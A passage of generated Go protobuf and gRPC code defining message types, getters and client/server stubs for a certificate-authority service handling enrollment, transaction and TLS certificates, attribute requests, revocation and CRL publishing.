func (*TCertCreateSetResp) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{22} }
func (m *TCertCreateSetResp) GetCerts() *CertSet {
if m != nil {
return m.Certs
}
return nil
}
type TCertReadSetsReq struct {
Begin *google_protobuf.Timestamp `protobuf:"bytes,1,opt,name=begin" json:"begin,omitempty"`
End *google_protobuf.Timestamp `protobuf:"bytes,2,opt,name=end" json:"end,omitempty"`
Req *Identity `protobuf:"bytes,3,opt,name=req" json:"req,omitempty"`
Role Role `protobuf:"varint,4,opt,name=role,enum=protos.Role" json:"role,omitempty"`
Sig *Signature `protobuf:"bytes,5,opt,name=sig" json:"sig,omitempty"`
}
func (m *TCertReadSetsReq) Reset() { *m = TCertReadSetsReq{} }
func (m *TCertReadSetsReq) String() string { return proto.CompactTextString(m) }
func (*TCertReadSetsReq) ProtoMessage() {}
func (*TCertReadSetsReq) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{23} }
func (m *TCertReadSetsReq) GetBegin() *google_protobuf.Timestamp {
if m != nil {
return m.Begin
}
return nil
}
func (m *TCertReadSetsReq) GetEnd() *google_protobuf.Timestamp {
if m != nil {
return m.End
}
return nil
}
func (m *TCertReadSetsReq) GetReq() *Identity {
if m != nil {
return m.Req
}
return nil
}
func (m *TCertReadSetsReq) GetSig() *Signature {
if m != nil {
return m.Sig
}
return nil
}
type TCertRevokeReq struct {
Id *Identity `protobuf:"bytes,1,opt,name=id" json:"id,omitempty"`
Cert *Cert `protobuf:"bytes,2,opt,name=cert" json:"cert,omitempty"`
Sig *Signature `protobuf:"bytes,3,opt,name=sig" json:"sig,omitempty"`
}
func (m *TCertRevokeReq) Reset() { *m = TCertRevokeReq{} }
func (m *TCertRevokeReq) String() string { return proto.CompactTextString(m) }
func (*TCertRevokeReq) ProtoMessage() {}
func (*TCertRevokeReq) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{24} }
func (m *TCertRevokeReq) GetId() *Identity {
if m != nil {
return m.Id
}
return nil
}
func (m *TCertRevokeReq) GetCert() *Cert {
if m != nil {
return m.Cert
}
return nil
}
func (m *TCertRevokeReq) GetSig() *Signature {
if m != nil {
return m.Sig
}
return nil
}
type TCertRevokeSetReq struct {
Id *Identity `protobuf:"bytes,1,opt,name=id" json:"id,omitempty"`
Ts *google_protobuf.Timestamp `protobuf:"bytes,2,opt,name=ts" json:"ts,omitempty"`
Sig *Signature `protobuf:"bytes,3,opt,name=sig" json:"sig,omitempty"`
}
func (m *TCertRevokeSetReq) Reset() { *m = TCertRevokeSetReq{} }
func (m *TCertRevokeSetReq) String() string { return proto.CompactTextString(m) }
func (*TCertRevokeSetReq) ProtoMessage() {}
func (*TCertRevokeSetReq) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{25} }
func (m *TCertRevokeSetReq) GetId() *Identity {
if m != nil {
return m.Id
}
return nil
}
func (m *TCertRevokeSetReq) GetTs() *google_protobuf.Timestamp {
if m != nil {
return m.Ts
}
return nil
}
func (m *TCertRevokeSetReq) GetSig() *Signature {
if m != nil {
return m.Sig
}
return nil
}
type TCertCRLReq struct {
Id *Identity `protobuf:"bytes,1,opt,name=id" json:"id,omitempty"`
Sig *Signature `protobuf:"bytes,2,opt,name=sig" json:"sig,omitempty"`
}
func (m *TCertCRLReq) Reset() { *m = TCertCRLReq{} }
func (m *TCertCRLReq) String() string { return proto.CompactTextString(m) }
func (*TCertCRLReq) ProtoMessage() {}
func (*TCertCRLReq) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{26} }
func (m *TCertCRLReq) GetId() *Identity {
if m != nil {
return m.Id
}
return nil
}
func (m *TCertCRLReq) GetSig() *Signature {
if m != nil {
return m.Sig
}
return nil
}
type TLSCertCreateReq struct {
Ts *google_protobuf.Timestamp `protobuf:"bytes,1,opt,name=ts" json:"ts,omitempty"`
Id *Identity `protobuf:"bytes,2,opt,name=id" json:"id,omitempty"`
Pub *PublicKey `protobuf:"bytes,3,opt,name=pub" json:"pub,omitempty"`
Sig *Signature `protobuf:"bytes,4,opt,name=sig" json:"sig,omitempty"`
}
func (m *TLSCertCreateReq) Reset() { *m = TLSCertCreateReq{} }
func (m *TLSCertCreateReq) String() string { return proto.CompactTextString(m) }
func (*TLSCertCreateReq) ProtoMessage() {}
func (*TLSCertCreateReq) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{27} }
func (m *TLSCertCreateReq) GetTs() *google_protobuf.Timestamp {
if m != nil {
return m.Ts
}
return nil
}
func (m *TLSCertCreateReq) GetId() *Identity {
if m != nil {
return m.Id
}
return nil
}
func (m *TLSCertCreateReq) GetPub() *PublicKey {
if m != nil {
return m.Pub
}
return nil
}
func (m *TLSCertCreateReq) GetSig() *Signature {
if m != nil {
return m.Sig
}
return nil
}
type TLSCertCreateResp struct {
Cert *Cert `protobuf:"bytes,1,opt,name=cert" json:"cert,omitempty"`
RootCert *Cert `protobuf:"bytes,2,opt,name=rootCert" json:"rootCert,omitempty"`
}
func (m *TLSCertCreateResp) Reset() { *m = TLSCertCreateResp{} }
func (m *TLSCertCreateResp) String() string { return proto.CompactTextString(m) }
func (*TLSCertCreateResp) ProtoMessage() {}
func (*TLSCertCreateResp) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{28} }
func (m *TLSCertCreateResp) GetCert() *Cert {
if m != nil {
return m.Cert
}
return nil
}
func (m *TLSCertCreateResp) GetRootCert() *Cert {
if m != nil {
return m.RootCert
}
return nil
}
type TLSCertReadReq struct {
Id *Identity `protobuf:"bytes,1,opt,name=id" json:"id,omitempty"`
}
func (m *TLSCertReadReq) Reset() { *m = TLSCertReadReq{} }
func (m *TLSCertReadReq) String() string { return proto.CompactTextString(m) }
func (*TLSCertReadReq) ProtoMessage() {}
func (*TLSCertReadReq) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{29} }
func (m *TLSCertReadReq) GetId() *Identity {
if m != nil {
return m.Id
}
return nil
}
type TLSCertRevokeReq struct {
Id *Identity `protobuf:"bytes,1,opt,name=id" json:"id,omitempty"`
Cert *Cert `protobuf:"bytes,2,opt,name=cert" json:"cert,omitempty"`
Sig *Signature `protobuf:"bytes,3,opt,name=sig" json:"sig,omitempty"`
}
func (m *TLSCertRevokeReq) Reset() { *m = TLSCertRevokeReq{} }
func (m *TLSCertRevokeReq) String() string { return proto.CompactTextString(m) }
func (*TLSCertRevokeReq) ProtoMessage() {}
func (*TLSCertRevokeReq) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{30} }
func (m *TLSCertRevokeReq) GetId() *Identity {
if m != nil {
return m.Id
}
return nil
}
func (m *TLSCertRevokeReq) GetCert() *Cert {
if m != nil {
return m.Cert
}
return nil
}
func (m *TLSCertRevokeReq) GetSig() *Signature {
if m != nil {
return m.Sig
}
return nil
}
// Certificate issued by either the ECA or TCA.
//
type Cert struct {
Cert []byte `protobuf:"bytes,1,opt,name=cert,proto3" json:"cert,omitempty"`
}
func (m *Cert) Reset() { *m = Cert{} }
func (m *Cert) String() string { return proto.CompactTextString(m) }
func (*Cert) ProtoMessage() {}
func (*Cert) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{31} }
// TCert
//
type TCert struct {
Cert []byte `protobuf:"bytes,1,opt,name=cert,proto3" json:"cert,omitempty"`
Prek0 []byte `protobuf:"bytes,2,opt,name=prek0,proto3" json:"prek0,omitempty"`
}
func (m *TCert) Reset() { *m = TCert{} }
func (m *TCert) String() string { return proto.CompactTextString(m) }
func (*TCert) ProtoMessage() {}
func (*TCert) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{32} }
type CertSet struct {
Ts *google_protobuf.Timestamp `protobuf:"bytes,1,opt,name=ts" json:"ts,omitempty"`
Id *Identity `protobuf:"bytes,2,opt,name=id" json:"id,omitempty"`
Key []byte `protobuf:"bytes,3,opt,name=key,proto3" json:"key,omitempty"`
Certs []*TCert `protobuf:"bytes,4,rep,name=certs" json:"certs,omitempty"`
}
func (m *CertSet) Reset() { *m = CertSet{} }
func (m *CertSet) String() string { return proto.CompactTextString(m) }
func (*CertSet) ProtoMessage() {}
func (*CertSet) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{33} }
func (m *CertSet) GetTs() *google_protobuf.Timestamp {
if m != nil {
return m.Ts
}
return nil
}
func (m *CertSet) GetId() *Identity {
if m != nil {
return m.Id
}
return nil
}
func (m *CertSet) GetCerts() []*TCert {
if m != nil {
return m.Certs
}
return nil
}
type CertSets struct {
Sets []*CertSet `protobuf:"bytes,1,rep,name=sets" json:"sets,omitempty"`
}
func (m *CertSets) Reset() { *m = CertSets{} }
func (m *CertSets) String() string { return proto.CompactTextString(m) }
func (*CertSets) ProtoMessage() {}
func (*CertSets) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{34} }
func (m *CertSets) GetSets() []*CertSet {
if m != nil {
return m.Sets
}
return nil
}
type CertPair struct {
Sign []byte `protobuf:"bytes,1,opt,name=sign,proto3" json:"sign,omitempty"`
Enc []byte `protobuf:"bytes,2,opt,name=enc,proto3" json:"enc,omitempty"`
}
func (m *CertPair) Reset() { *m = CertPair{} }
func (m *CertPair) String() string { return proto.CompactTextString(m) }
func (*CertPair) ProtoMessage() {}
func (*CertPair) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{35} }
// ACAAttrReq is sent to request an ACert (attributes certificate) to the Attribute Certificate Authority (ACA).
type ACAAttrReq struct {
// Request time
Ts *google_protobuf.Timestamp `protobuf:"bytes,1,opt,name=ts" json:"ts,omitempty"`
// User identity
Id *Identity `protobuf:"bytes,2,opt,name=id" json:"id,omitempty"`
// Enrollment certificate
ECert *Cert `protobuf:"bytes,3,opt,name=eCert" json:"eCert,omitempty"`
// Collection of requested attributes including the attribute name and its respective value hash.
Attributes []*TCertAttribute `protobuf:"bytes,4,rep,name=attributes" json:"attributes,omitempty"`
// The request is signed by the TCA.
Signature *Signature `protobuf:"bytes,5,opt,name=signature" json:"signature,omitempty"`
}
func (m *ACAAttrReq) Reset() { *m = ACAAttrReq{} }
func (m *ACAAttrReq) String() string { return proto.CompactTextString(m) }
func (*ACAAttrReq) ProtoMessage() {}
func (*ACAAttrReq) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{36} }
func (m *ACAAttrReq) GetTs() *google_protobuf.Timestamp {
if m != nil {
return m.Ts
}
return nil
}
func (m *ACAAttrReq) GetId() *Identity {
if m != nil {
return m.Id
}
return nil
}
func (m *ACAAttrReq) GetECert() *Cert {
if m != nil {
return m.ECert
}
return nil
}
func (m *ACAAttrReq) GetAttributes() []*TCertAttribute {
if m != nil {
return m.Attributes
}
return nil
}
func (m *ACAAttrReq) GetSignature() *Signature {
if m != nil {
return m.Signature
}
return nil
}
// ACAAttrResp is the response of Attribute Certificate Authority (ACA) to the attribute request. Is composed by the following fields:
type ACAAttrResp struct {
// Indicates the request process status.
Status ACAAttrResp_StatusCode `protobuf:"varint,1,opt,name=status,enum=protos.ACAAttrResp_StatusCode" json:"status,omitempty"`
// Attribute certificate. Include all the attributes certificated.
Cert *Cert `protobuf:"bytes,2,opt,name=cert" json:"cert,omitempty"`
// The response is signed by the ACA.
Signature *Signature `protobuf:"bytes,3,opt,name=signature" json:"signature,omitempty"`
}
func (m *ACAAttrResp) Reset() { *m = ACAAttrResp{} }
func (m *ACAAttrResp) String() string { return proto.CompactTextString(m) }
func (*ACAAttrResp) ProtoMessage() {}
func (*ACAAttrResp) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{37} }
func (m *ACAAttrResp) GetCert() *Cert {
if m != nil {
return m.Cert
}
return nil
}
func (m *ACAAttrResp) GetSignature() *Signature {
if m != nil {
return m.Signature
}
return nil
}
// ACAFetchAttrReq is a request to the Attribute Certificate Authority (ACA) to refresh attributes values from the sources.
type ACAFetchAttrReq struct {
// Request timestamp
Ts *google_protobuf.Timestamp `protobuf:"bytes,1,opt,name=ts" json:"ts,omitempty"`
// Enrollment certificate.
ECert *Cert `protobuf:"bytes,2,opt,name=eCert" json:"eCert,omitempty"`
// The request is signed by the ECA.
Signature *Signature `protobuf:"bytes,3,opt,name=signature" json:"signature,omitempty"`
}
func (m *ACAFetchAttrReq) Reset() { *m = ACAFetchAttrReq{} }
func (m *ACAFetchAttrReq) String() string { return proto.CompactTextString(m) }
func (*ACAFetchAttrReq) ProtoMessage() {}
func (*ACAFetchAttrReq) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{38} }
func (m *ACAFetchAttrReq) GetTs() *google_protobuf.Timestamp {
if m != nil {
return m.Ts
}
return nil
}
func (m *ACAFetchAttrReq) GetECert() *Cert {
if m != nil {
return m.ECert
}
return nil
}
func (m *ACAFetchAttrReq) GetSignature() *Signature {
if m != nil {
return m.Signature
}
return nil
}
// ACAFetchAttrReq is the answer of the Attribute Certificate Authority (ACA) to the refresh request.
type ACAFetchAttrResp struct {
// Status of the fetch process.
Status ACAFetchAttrResp_StatusCode `protobuf:"varint,1,opt,name=status,enum=protos.ACAFetchAttrResp_StatusCode" json:"status,omitempty"`
// Error message.
Msg string `protobuf:"bytes,2,opt,name=Msg,json=msg" json:"Msg,omitempty"`
}
func (m *ACAFetchAttrResp) Reset() { *m = ACAFetchAttrResp{} }
func (m *ACAFetchAttrResp) String() string { return proto.CompactTextString(m) }
func (*ACAFetchAttrResp) ProtoMessage() {}
func (*ACAFetchAttrResp) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{39} }
// FetchAttrsResult is returned within the ECertCreateResp indicating the results of the fetch attributes invoked during enroll.
type FetchAttrsResult struct {
// Status of the fetch process.
Status FetchAttrsResult_StatusCode `protobuf:"varint,1,opt,name=status,enum=protos.FetchAttrsResult_StatusCode" json:"status,omitempty"`
// Error message.
Msg string `protobuf:"bytes,2,opt,name=Msg,json=msg" json:"Msg,omitempty"`
}
func (m *FetchAttrsResult) Reset() { *m = FetchAttrsResult{} }
func (m *FetchAttrsResult) String() string { return proto.CompactTextString(m) }
func (*FetchAttrsResult) ProtoMessage() {}
func (*FetchAttrsResult) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{40} }
// ACAAttribute is an instance of an attribute with the time constraints. Is used to marshal attributes to be stored within the certificate extensions.
type ACAAttribute struct {
// Name of the attribute.
AttributeName string `protobuf:"bytes,1,opt,name=attributeName" json:"attributeName,omitempty"`
// Value of the attribute.
AttributeValue []byte `protobuf:"bytes,2,opt,name=attributeValue,proto3" json:"attributeValue,omitempty"`
// The timestamp which attribute is valid from.
ValidFrom *google_protobuf.Timestamp `protobuf:"bytes,3,opt,name=validFrom" json:"validFrom,omitempty"`
// The timestamp which attribute is valid to.
ValidTo *google_protobuf.Timestamp `protobuf:"bytes,4,opt,name=validTo" json:"validTo,omitempty"`
}
func (m *ACAAttribute) Reset() { *m = ACAAttribute{} }
func (m *ACAAttribute) String() string { return proto.CompactTextString(m) }
func (*ACAAttribute) ProtoMessage() {}
func (*ACAAttribute) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{41} }
func (m *ACAAttribute) GetValidFrom() *google_protobuf.Timestamp {
if m != nil {
return m.ValidFrom
}
return nil
}
func (m *ACAAttribute) GetValidTo() *google_protobuf.Timestamp {
if m != nil {
return m.ValidTo
}
return nil
}
func init() {
proto.RegisterType((*CAStatus)(nil), "protos.CAStatus")
proto.RegisterType((*Empty)(nil), "protos.Empty")
proto.RegisterType((*Identity)(nil), "protos.Identity")
proto.RegisterType((*Token)(nil), "protos.Token")
proto.RegisterType((*Hash)(nil), "protos.Hash")
proto.RegisterType((*PublicKey)(nil), "protos.PublicKey")
proto.RegisterType((*PrivateKey)(nil), "protos.PrivateKey")
proto.RegisterType((*Signature)(nil), "protos.Signature")
proto.RegisterType((*Registrar)(nil), "protos.Registrar")
proto.RegisterType((*RegisterUserReq)(nil), "protos.RegisterUserReq")
proto.RegisterType((*ReadUserSetReq)(nil), "protos.ReadUserSetReq")
proto.RegisterType((*User)(nil), "protos.User")
proto.RegisterType((*UserSet)(nil), "protos.UserSet")
proto.RegisterType((*ECertCreateReq)(nil), "protos.ECertCreateReq")
proto.RegisterType((*ECertCreateResp)(nil), "protos.ECertCreateResp")
proto.RegisterType((*ECertReadReq)(nil), "protos.ECertReadReq")
proto.RegisterType((*ECertRevokeReq)(nil), "protos.ECertRevokeReq")
proto.RegisterType((*ECertCRLReq)(nil), "protos.ECertCRLReq")
proto.RegisterType((*TCertCreateReq)(nil), "protos.TCertCreateReq")
proto.RegisterType((*TCertCreateResp)(nil), "protos.TCertCreateResp")
proto.RegisterType((*TCertCreateSetReq)(nil), "protos.TCertCreateSetReq")
proto.RegisterType((*TCertAttribute)(nil), "protos.TCertAttribute")
proto.RegisterType((*TCertCreateSetResp)(nil), "protos.TCertCreateSetResp")
proto.RegisterType((*TCertReadSetsReq)(nil), "protos.TCertReadSetsReq")
proto.RegisterType((*TCertRevokeReq)(nil), "protos.TCertRevokeReq")
proto.RegisterType((*TCertRevokeSetReq)(nil), "protos.TCertRevokeSetReq")
proto.RegisterType((*TCertCRLReq)(nil), "protos.TCertCRLReq")
proto.RegisterType((*TLSCertCreateReq)(nil), "protos.TLSCertCreateReq")
proto.RegisterType((*TLSCertCreateResp)(nil), "protos.TLSCertCreateResp")
proto.RegisterType((*TLSCertReadReq)(nil), "protos.TLSCertReadReq")
proto.RegisterType((*TLSCertRevokeReq)(nil), "protos.TLSCertRevokeReq")
proto.RegisterType((*Cert)(nil), "protos.Cert")
proto.RegisterType((*TCert)(nil), "protos.TCert")
proto.RegisterType((*CertSet)(nil), "protos.CertSet")
proto.RegisterType((*CertSets)(nil), "protos.CertSets")
proto.RegisterType((*CertPair)(nil), "protos.CertPair")
proto.RegisterType((*ACAAttrReq)(nil), "protos.ACAAttrReq")
proto.RegisterType((*ACAAttrResp)(nil), "protos.ACAAttrResp")
proto.RegisterType((*ACAFetchAttrReq)(nil), "protos.ACAFetchAttrReq")
proto.RegisterType((*ACAFetchAttrResp)(nil), "protos.ACAFetchAttrResp")
proto.RegisterType((*FetchAttrsResult)(nil), "protos.FetchAttrsResult")
proto.RegisterType((*ACAAttribute)(nil), "protos.ACAAttribute")
proto.RegisterEnum("protos.CryptoType", CryptoType_name, CryptoType_value)
proto.RegisterEnum("protos.Role", Role_name, Role_value)
proto.RegisterEnum("protos.CAStatus_StatusCode", CAStatus_StatusCode_name, CAStatus_StatusCode_value)
proto.RegisterEnum("protos.ACAAttrResp_StatusCode", ACAAttrResp_StatusCode_name, ACAAttrResp_StatusCode_value)
proto.RegisterEnum("protos.ACAFetchAttrResp_StatusCode", ACAFetchAttrResp_StatusCode_name, ACAFetchAttrResp_StatusCode_value)
proto.RegisterEnum("protos.FetchAttrsResult_StatusCode", FetchAttrsResult_StatusCode_name, FetchAttrsResult_StatusCode_value)
}
// Reference imports to suppress errors if they are not otherwise used.
var _ context.Context
var _ grpc.ClientConn
// This is a compile-time assertion to ensure that this generated file
// is compatible with the grpc package it is being compiled against.
const _ = grpc.SupportPackageIsVersion3
// Client API for ECAP service
type ECAPClient interface {
ReadCACertificate(ctx context.Context, in *Empty, opts ...grpc.CallOption) (*Cert, error)
CreateCertificatePair(ctx context.Context, in *ECertCreateReq, opts ...grpc.CallOption) (*ECertCreateResp, error)
ReadCertificatePair(ctx context.Context, in *ECertReadReq, opts ...grpc.CallOption) (*CertPair, error)
ReadCertificateByHash(ctx context.Context, in *Hash, opts ...grpc.CallOption) (*Cert, error)
RevokeCertificatePair(ctx context.Context, in *ECertRevokeReq, opts ...grpc.CallOption) (*CAStatus, error)
}
type eCAPClient struct {
cc *grpc.ClientConn
}
func NewECAPClient(cc *grpc.ClientConn) ECAPClient {
return &eCAPClient{cc}
}
func (c *eCAPClient) ReadCACertificate(ctx context.Context, in *Empty, opts ...grpc.CallOption) (*Cert, error) {
out := new(Cert)
err := grpc.Invoke(ctx, "/protos.ECAP/ReadCACertificate", in, out, c.cc, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *eCAPClient) CreateCertificatePair(ctx context.Context, in *ECertCreateReq, opts ...grpc.CallOption) (*ECertCreateResp, error) {
out := new(ECertCreateResp)
err := grpc.Invoke(ctx, "/protos.ECAP/CreateCertificatePair", in, out, c.cc, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *eCAPClient) ReadCertificatePair(ctx context.Context, in *ECertReadReq, opts ...grpc.CallOption) (*CertPair, error) {
out := new(CertPair)
err := grpc.Invoke(ctx, "/protos.ECAP/ReadCertificatePair", in, out, c.cc, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *eCAPClient) ReadCertificateByHash(ctx context.Context, in *Hash, opts ...grpc.CallOption) (*Cert, error) {
out := new(Cert)
err := grpc.Invoke(ctx, "/protos.ECAP/ReadCertificateByHash", in, out, c.cc, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *eCAPClient) RevokeCertificatePair(ctx context.Context, in *ECertRevokeReq, opts ...grpc.CallOption) (*CAStatus, error) {
out := new(CAStatus)
err := grpc.Invoke(ctx, "/protos.ECAP/RevokeCertificatePair", in, out, c.cc, opts...)
if err != nil {
return nil, err
}
return out, nil
}
// Server API for ECAP service
type ECAPServer interface {
ReadCACertificate(context.Context, *Empty) (*Cert, error)
CreateCertificatePair(context.Context, *ECertCreateReq) (*ECertCreateResp, error)
ReadCertificatePair(context.Context, *ECertReadReq) (*CertPair, error)
ReadCertificateByHash(context.Context, *Hash) (*Cert, error)
RevokeCertificatePair(context.Context, *ECertRevokeReq) (*CAStatus, error)
}
func RegisterECAPServer(s *grpc.Server, srv ECAPServer) {
s.RegisterService(&_ECAP_serviceDesc, srv)
}
func _ECAP_ReadCACertificate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(Empty)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ECAPServer).ReadCACertificate(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/protos.ECAP/ReadCACertificate",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ECAPServer).ReadCACertificate(ctx, req.(*Empty))
}
return interceptor(ctx, in, info, handler)
}
func _ECAP_CreateCertificatePair_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(ECertCreateReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ECAPServer).CreateCertificatePair(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/protos.ECAP/CreateCertificatePair",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ECAPServer).CreateCertificatePair(ctx, req.(*ECertCreateReq))
}
return interceptor(ctx, in, info, handler)
}
func _ECAP_ReadCertificatePair_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(ECertReadReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ECAPServer).ReadCertificatePair(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/protos.ECAP/ReadCertificatePair",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ECAPServer).ReadCertificatePair(ctx, req.(*ECertReadReq))
}
return interceptor(ctx, in, info, handler)
}
func _ECAP_ReadCertificateByHash_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(Hash)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ECAPServer).ReadCertificateByHash(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/protos.ECAP/ReadCertificateByHash",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ECAPServer).ReadCertificateByHash(ctx, req.(*Hash))
}
return interceptor(ctx, in, info, handler)
}
func _ECAP_RevokeCertificatePair_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(ECertRevokeReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ECAPServer).RevokeCertificatePair(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/protos.ECAP/RevokeCertificatePair",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ECAPServer).RevokeCertificatePair(ctx, req.(*ECertRevokeReq))
}
return interceptor(ctx, in, info, handler)
}
var _ECAP_serviceDesc = grpc.ServiceDesc{
ServiceName: "protos.ECAP",
HandlerType: (*ECAPServer)(nil),
Methods: []grpc.MethodDesc{
{
MethodName: "ReadCACertificate",
Handler: _ECAP_ReadCACertificate_Handler,
},
{
MethodName: "CreateCertificatePair",
Handler: _ECAP_CreateCertificatePair_Handler,
},
{
MethodName: "ReadCertificatePair",
Handler: _ECAP_ReadCertificatePair_Handler,
},
{
MethodName: "ReadCertificateByHash",
Handler: _ECAP_ReadCertificateByHash_Handler,
},
{
MethodName: "RevokeCertificatePair",
Handler: _ECAP_RevokeCertificatePair_Handler,
},
},
Streams: []grpc.StreamDesc{},
Metadata: fileDescriptor0,
}
// Client API for ECAA service
type ECAAClient interface {
RegisterUser(ctx context.Context, in *RegisterUserReq, opts ...grpc.CallOption) (*Token, error)
ReadUserSet(ctx context.Context, in *ReadUserSetReq, opts ...grpc.CallOption) (*UserSet, error)
RevokeCertificate(ctx context.Context, in *ECertRevokeReq, opts ...grpc.CallOption) (*CAStatus, error)
PublishCRL(ctx context.Context, in *ECertCRLReq, opts ...grpc.CallOption) (*CAStatus, error)
}
type eCAAClient struct {
cc *grpc.ClientConn
}
func NewECAAClient(cc *grpc.ClientConn) ECAAClient {
return &eCAAClient{cc}
}
func (c *eCAAClient) RegisterUser(ctx context.Context, in *RegisterUserReq, opts ...grpc.CallOption) (*Token, error) {
out := new(Token)
err := grpc.Invoke(ctx, "/protos.ECAA/RegisterUser", in, out, c.cc, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *eCAAClient) ReadUserSet(ctx context.Context, in *ReadUserSetReq, opts ...grpc.CallOption) (*UserSet, error) {
out := new(UserSet)
err := grpc.Invoke(ctx, "/protos.ECAA/ReadUserSet", in, out, c.cc, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *eCAAClient) RevokeCertificate(ctx context.Context, in *ECertRevokeReq, opts ...grpc.CallOption) (*CAStatus, error) {
out := new(CAStatus)
err := grpc.Invoke(ctx, "/protos.ECAA/RevokeCertificate", in, out, c.cc, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *eCAAClient) PublishCRL(ctx context.Context, in *ECertCRLReq, opts ...grpc.CallOption) (*CAStatus, error) {
out := new(CAStatus)
err := grpc.Invoke(ctx, "/protos.ECAA/PublishCRL", in, out, c.cc, opts...)
if err != nil {
return nil, err
}
return out, nil
}
// Server API for ECAA service
type ECAAServer interface {
RegisterUser(context.Context, *RegisterUserReq) (*Token, error)
ReadUserSet(context.Context, *ReadUserSetReq) (*UserSet, error)
RevokeCertificate(context.Context, *ECertRevokeReq) (*CAStatus, error)
PublishCRL(context.Context, *ECertCRLReq) (*CAStatus, error)
}
func RegisterECAAServer(s *grpc.Server, srv ECAAServer) {
s.RegisterService(&_ECAA_serviceDesc, srv)
}
func _ECAA_RegisterUser_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(RegisterUserReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ECAAServer).RegisterUser(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/protos.ECAA/RegisterUser",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ECAAServer).RegisterUser(ctx, req.(*RegisterUserReq))
}
return interceptor(ctx, in, info, handler)
}
func _ECAA_ReadUserSet_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(ReadUserSetReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ECAAServer).ReadUserSet(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/protos.ECAA/ReadUserSet",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ECAAServer).ReadUserSet(ctx, req.(*ReadUserSetReq))
}
return interceptor(ctx, in, info, handler)
}
func _ECAA_RevokeCertificate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(ECertRevokeReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ECAAServer).RevokeCertificate(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/protos.ECAA/RevokeCertificate",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ECAAServer).RevokeCertificate(ctx, req.(*ECertRevokeReq))
}
return interceptor(ctx, in, info, handler)
}
func _ECAA_PublishCRL_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(ECertCRLReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ECAAServer).PublishCRL(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/protos.ECAA/PublishCRL",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ECAAServer).PublishCRL(ctx, req.(*ECertCRLReq))
}
return interceptor(ctx, in, info, handler)
}
var _ECAA_serviceDesc = grpc.ServiceDesc{
ServiceName: "protos.ECAA",
